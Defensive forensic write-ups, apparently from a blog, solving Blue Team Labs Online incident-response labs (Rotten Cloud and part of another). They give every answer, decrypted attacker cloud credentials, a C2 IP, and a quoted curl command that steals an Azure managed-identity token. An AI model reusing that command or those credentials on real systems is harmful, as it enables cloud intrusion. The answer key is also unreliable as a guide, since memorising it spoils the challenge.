To get this information we need the file… badly. From the WebCacheV01.dat file analysis we know that it was downloaded from Github from following URL:

Let’s use it to grab the file:

So how can we get this file as it’s not available in the investigation machine? We can still download it as Github has specific preferences which were described in following article: GitHub & Discord’s File Locker: A Hacker’s Playground?

According to the article we can download the file simply by using following URL with the values from our finding:

https://github.com/user-attachments/files/{unique_id}/{filename}

In our case the {unique_id} is 22441452 and the {filename} is CUREKiller.zip. Let’s try it.

We have the archive. Let’s extract its contents:

As we have the executable file let’s try to get the quick win by using strings & grep just to look for IP address(es):

### ANSWER ###

36.157.123.216

### ANSWER ###

16. The attacker stole and erased the critical files from the Secret Division network. Name the stolen files and sort them alphabetically.

Downloaded archive examination revealed the presence of sdelete.exe file (Secure Delete). Let’s analyse $J parsed data looking for evidences of its usage.

Now we can examine records in close proximity of those related to prefetch files. We can clearly see the first file which was deleted using sdelete.exe (specific naming pattern in overwritting the file):

Let’s look for more of those files with the same naming pattern:

Now we only have to placed them in alphabetical order👍

Worth mentioning is also a fact that before those files were deleted attacker has created a .zip archive and .png file. BetterCallSaul.png is converted Exfiltrated_data.zip file!

### ANSWER ###

CONFIDENTIAL.PNG,CURE.txt,GUNMAN.png,helena.txt,OUTBREAK.png,test.txt

### ANSWER ###

17. When the attacker’s primary C2 endpoints used for exfil failed, they turned to a different tool to keep exfiltration going. What tool was used as the fallback?

We need to check what has happened after the files were deleted and what applications were run. We can examine both prefetch and $J parsed data to look for which application was used.

From prefetch analysis we know that BetterCallSaul.png was loaded by two executables:

1. KILLTHECURE.EXE as it created the Encrypted_Data.zip file and then the archive was converted into BetterCallSaul.png file.

2. RCLONE.EXE as it was uploaded/exfiltrated:

### ANSWER ###

rclone

### ANSWER ###

18. To use that alternate tool, the attacker needed cloud access. They stored credentials on the system. Provide the email and password for that account that they used. [No need for brute force anywhere.]

Attacker has left behind the rclone config file — rclone.conf — in C\Users\Dr.FrankensteinCode\AppData\Roaming\rclone directory. Let’s examine its contents:

Both credentials are not the correct answer. Why? Because password (pass value) in rclone.conf is encrypted. So we have the encrypted passwords and not the passwords itself.

To decrypt passwords we can use this website -> Go Playground — The Go Programming Language. It hosts script written in Go language which we can use to decrypt both passwords from the configuration file.

Encrypted password: 9sTJhtpiKJ5YBPCNT_d4F2xESWBVDn5DAoSCIWqt4TaexUrLCTY
Decrypted password: FrankensteinCodeFTW1@@

Encrypted password: Zb9Bx3N6x4oRDEQG27gdRWyjYuqgT2D0rQFkegSN49c
Decrypted password: Necrobyte001123!

As an good alternative we can also use this script hosted on Github: GitHub — maaaaz/rclonedeobscure: A simple script to decrypt obscured/encrypted passwords from rclone

Now we can use both pairs of credentials and check the

https://mega.io/

.

In case of the first pair of credentials there’s nothing interested:

In case of the second pair of credentials there’s a directory SecOP and BetterCallSaul.zip file (at some point someone has deleted the BetterCallSaul.png file but it was reuploaded as a .zip archive —but there’s no traces of the BetterCallSaul.zip file in the investigation machine):

The SecOP directory contents (looks familiar):

The BetterCallSaul.zip archive has a BetterCallSaul.png file which is the converted Encrypted_data.zip file into .png file.

So the second pair of credentials should be the right answer as this account stores both the tools and exfiltrated data.

### ANSWER ###

00darksideofme00+2@gmail.com:Necrobyte001123!

### ANSWER ###

19. The critical file ‘cure.txt’ was among the wiped data! Recovery is considered possible — if you can restore it, submit the file’s MD5 hash. Fellow Investigators have logged into the attacker’s cloud using the credentials from the previous question and stored a copy of the exfiltrated content locally here: C:\users\BTLOtest\Downloads

As we know from previous analysis that the BetterCallSaul.png file is indeed a converted Exfiltrated_data.zip file we only have to convert it back 🤣 That’s the part where we have to use IDA/Ghidra to examine the KillTheCure.exe file and do some reverse engineering stuff.

Firstly we have to find which function is responsible for the file conversion/embedding which was a pretty easy task. Below is a screenshot/code snippet taken from sub_140001480 which contains the whole logic.

Next step (in my case) was copying the whole code into two of the popular LLMs and asking to generate the python code to reverse the whole process. After few unsuccessful attempts I’ve got the working code! 👍

Full working python code:

import sys
from PIL import Image
import zlib
import struct

def png_to_zip(png_filename, zip_filename):
    try:
        # Open PNG and load pixel data
        img = Image.open(png_filename)
        pixels = list(img.getdata())
        
        print(f”Image mode: {img.mode}, Size: {img.size}, Num pixels: {len(pixels)}”)
        
        # Flatten pixel data (only RGB or RGBA channels)
        flat_bytes = bytearray()
        for pixel in pixels:
            # Supports RGB or RGBA
            flat_bytes.extend(pixel[:4])  # take up to 4 channels
        
        # Ensure length is at least 16 for header
        if len(flat_bytes) < 16:
            print(”PNG data too small to contain header”)
            return
        
        # Read header (first 16 bytes)
        # Note: Adjust unpack format if 64-bit size is not correct; here using I (4 bytes), Q (8 bytes), I (4 bytes)
        header = flat_bytes[:16]
        crc32_stored, key, data_size = struct.unpack(’<I Q I’, header)
        print(f”CRC stored: {crc32_stored:#010x}, Key: {key:#018x}, Data size: {data_size}”)
        
        enc_data = flat_bytes[16:16+data_size]
        if len(enc_data) < data_size:
            print(”PNG data too small for declared ZIP data size”)
            return
        
        # Prepare key stream for XOR decryption (4 bytes repeated)
        key_bytes = struct.pack(’<I’, key & 0xFFFFFFFF)
        key_stream = (key_bytes * ((len(enc_data) // 4) + 1))[:len(enc_data)]
        
        # XOR decrypt the data
        dec_data = bytes([a ^ b for a, b in zip(enc_data, key_stream)])
        
        # CRC check of decrypted data
        calc_crc = zlib.crc32(header[4:] + dec_data) & 0xFFFFFFFF
        print(f”Calculated CRC: {calc_crc:#010x}”)
        
        # Write recovered ZIP to output file
        with open(zip_filename, ‘wb’) as f:
            f.write(dec_data)
        print(f”Recovered ZIP file written to: {zip_filename}”)
    
    except Exception as e:
        print(f”Exception: {e}”)

# Example usage
if __name__ == “__main__”:
    if len(sys.argv) != 3:
        print(”Usage: python png_to_zip.py <input.png> <output.zip>”)
    else:
        png_to_zip(sys.argv[1], sys.argv[2])

Now we have to extract the CURE.txt file and simply calculate the MD5 hash:

### ANSWER ###

d81c7ad96edfb8e183613f579f105578

### ANSWER ###

20. After completing the earlier steps, the attacker turned to covering his tracks. the adversary deleted various artifacts (tools, event logs, registry keys). When were the registry keys that contained the initial-access command wiped?

As we know from the Q3 —FileFix technique was used. This technique leaves traces (an artifact) in the NTUSER.dat registry file in: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths key.

As we can see on the screenshot below this key is empty. But we know that the attacker has deleted/wiped the registry key which contain the initial-access command. So the last write timestamp of this key is the timestamp when the key was deleted:

### ANSWER ###

2025-09-28 02:20:47

### ANSWER ###

21. Finally, the attacker cleared Windows event logs to cover their tracks. How many log files were cleared?

For the final time we will check the $J parsed data. We’re looking for modifications made to .evtx (event log) files. Suspicious events were found between 2025–09–28 02:17 and 02:19 so just before the registry key was deleted.

Those 5 events related to 5 different event logs are the only DataOverwrite|DataTruncation events found in the $J parsed data and those are good indicators that those event logs were cleared.

### ANSWER ###

5

### ANSWER ###

### THE (HAPPY) END ###

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/rotten-cloud-dcf4ab87e0
Released: 2025.10.30
Difficulty: Medium
Category: INCIDENT RESPONSE

### Part of the Trick or Threat 2025 event ###

Investigations presented in chronological order:

1. Patient Z-ero

2. The Walking Packets

3. The Headless Dead

4. Rotten Cloud

5. Zeta End

### Scenario ###

Zeta-9 Corporation operates a hybrid cloud infrastructure supporting its Quantum Research Division, where highly sensitive data is stored across secure cloud environments. Authorized personnel access this data through a web-based research portal that serves as the primary interface for ongoing projects. Following the breach, C.R.I.S.I.S must extend their investigation into Zeta-9’s cloud environment — analyzing activity, identifying signs of lateral movement, and determining whether the threat actor has already pivoted into the cloud infrastructure. Time is critical; stopping them before they move deeper into the network may be the only way to contain the damage.

### What we have ###

• Splunk (logs in SIEM)

• CyberChef

### Our adventure (Questions and Answers) ###

1. Analyze the AWS CloudTrail logs and identify the attacker’s IP address. Note that legitimate users were working remotely from India.

We’re starting from setting the source as AWSCloudTrail.json in our search query:

index=* source=”AWSCloudTrail.json”
| sort _time

Now we can check the source IP addresses. As we have only two options and one of them is an IP address then we should have the correct answer.

### ANSWER ###

172.235.129.221

### ANSWER ###

2. The attacker performed reconnaissance on EC2 instances. What specific API call/EventName was generated during this reconnaissance activity?

As we have the attacker IP address we can add it into our search query:

index=* source=”AWSCloudTrail.json” sourceIPAddress=”172.235.129.221”
| sort _time

Now we can check the EventName field values related to the attacker’s IP address. We have only 3 values:

• GetObject -> GetObject — Amazon Simple Storage Service

• DescribeInstances -> DescribeInstances — Amazon Elastic Compute Cloud

• GetSecretValue -> GetSecretValue — AWS Secrets Manager

From those values listed above only DescribeInstances could be used for reconnaisance.

### ANSWER ###

DescribeInstances

### ANSWER ###

3. After gathering information about EC2 instances, the attacker attempted to find instance passwords to establish connections. Identify the secretID that contained the Windows instance password.

To get the secretID value we have to examine the GetSecretValue EventName log.

### ANSWER ###

zeta9/windows/admin-password

### ANSWER ###

4. The attacker discovered and targeted S3 buckets to download sensitive data. Find how many unique S3 buckets were targeted as well as total files were downloaded from all buckets.

To get those values we can create a simple search query:

index=* source=”AWSCloudTrail.json” sourceIPAddress=”172.235.129.221” eventName=GetObject
| table requestParameters.bucketName requestParameters.key
| sort _time

Now we can clearly see that we have 3 unique S3 buckets (bucketName values ) and 5 unique files (key values):

Or without the previous query we can get the answer from the “Interesting fields” side menu:

### ANSWER ###

3, 5

### ANSWER ###

5. Through analysis of the compromised EC2 instance’s browsing history, the attacker found traces leading to a secret web portal used by restricted individuals. Using cross-correlation with other log sources, identify the URL of this secret portal.

As the last recorded activity from the attacker’s IP address in CloudTrail logs was recorded at 2025–09–25 16:27:04 (4:27:04 PM) we have to start our investigation from approximately this point in time. This time we would use two other log sources so we’re starting from following query:

index=* sourcetype!=”CloudTrail” “TimeGenerated [UTC]” > “25/09/2025, 16:27:00.000”
| sort _time

From the “Interesting fields” side menu we can check the CIp field values where we can once again find the attacker’s IP address:

Let’s use it in our search query:

index=* sourcetype!=”CloudTrail” “TimeGenerated [UTC]” > “25/09/2025, 16:27:00.000” CIp=”172.235.129.221”
| sort _time

We’ve reduced the results to only 4 events! In the first of those events we can identify the secret portal’s URL:

### ANSWER ###

zeta9-research-portal.azurewebsites.net

### ANSWER ###

6. The attacker pivoted to another cloud environment by exploiting a vulnerability. Provide the complete command used for this cross-cloud activity.

On the previous screenshot we’ve also have the command which was used to exploit the vulnerability:

To get the correct answer we need to decode this command using (of course) CyberChef:

### ANSWER ###

curl -H secret:4ebc6d54-f421-4321-81c4-fd9e29d28a0f ‘http://169.254.130.3:8081/msi/token?api-version=2017-09-01&resource=https://management.azure.com/’

### ANSWER ###

7. After gaining access to the Azure environment, the attacker was able to list and access data from cloud storage services. Identify the name of the specific storage blob container that was targeted.

Now we can use only single log source. We can use following query:

index=* sourcetype=”StorageBlobLogs” “TimeGenerated [UTC]” > “25/09/2025, 16:27:00.000”
| sort _time

As a result we would have only 8 events and all are related to attacker’s IP address (those events took place before those in Q5 and Q6):

Now let’s check what type of operations where performed by the attacker:

The first operation performed by the attacker was ListContainers:

To obtain the storage blob container name we can check the event related to ListBlobs operation:

### ANSWER ###

quantum-research-secrets

### ANSWER ###

8. Determine how many files the attacker successfully downloaded from the Azure blob storage during the attack.

To determine how many files were successfully downloaded by the attacker we have to check the events related to GetBlob operations. We can use following query:

index=* sourcetype=”StorageBlobLogs” “TimeGenerated [UTC]” > “25/09/2025, 16:27:00.000” OperationName=GetBlob
| table ObjectKey
| sort _time

Our search query returned 6 unique records:

### ANSWER ###

6

### ANSWER ###

9. To gain access to the secret division systems, the attacker defaced the organization’s website by deploying malicious content. Provide the URL that hosted the defaced website code.

Now we have to change the log source. We can use following query:

index=* sourcetype=”AppServiceHTTPLogs” “TimeGenerated [UTC]” > “25/09/2025, 16:27:00.000” CIp=”172.235.129.221”
| sort _time

In the last event we can find another suspicious command executed by the attacker which was used to deface the website by deploying the content hosted on Pastebin:

Once again we can use CyberChef to get the clean command and an URL which hosted the defaced website code:

### ANSWER ###

https://pastebin.com/raw/sBEs83q3

### ANSWER ###

### THE (HAPPY) END ###

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/the-headless-dead-f8e2c3f90b
Released: 2025.10.29
Difficulty: Epic 🤣
Category: REVERSE ENGINEERING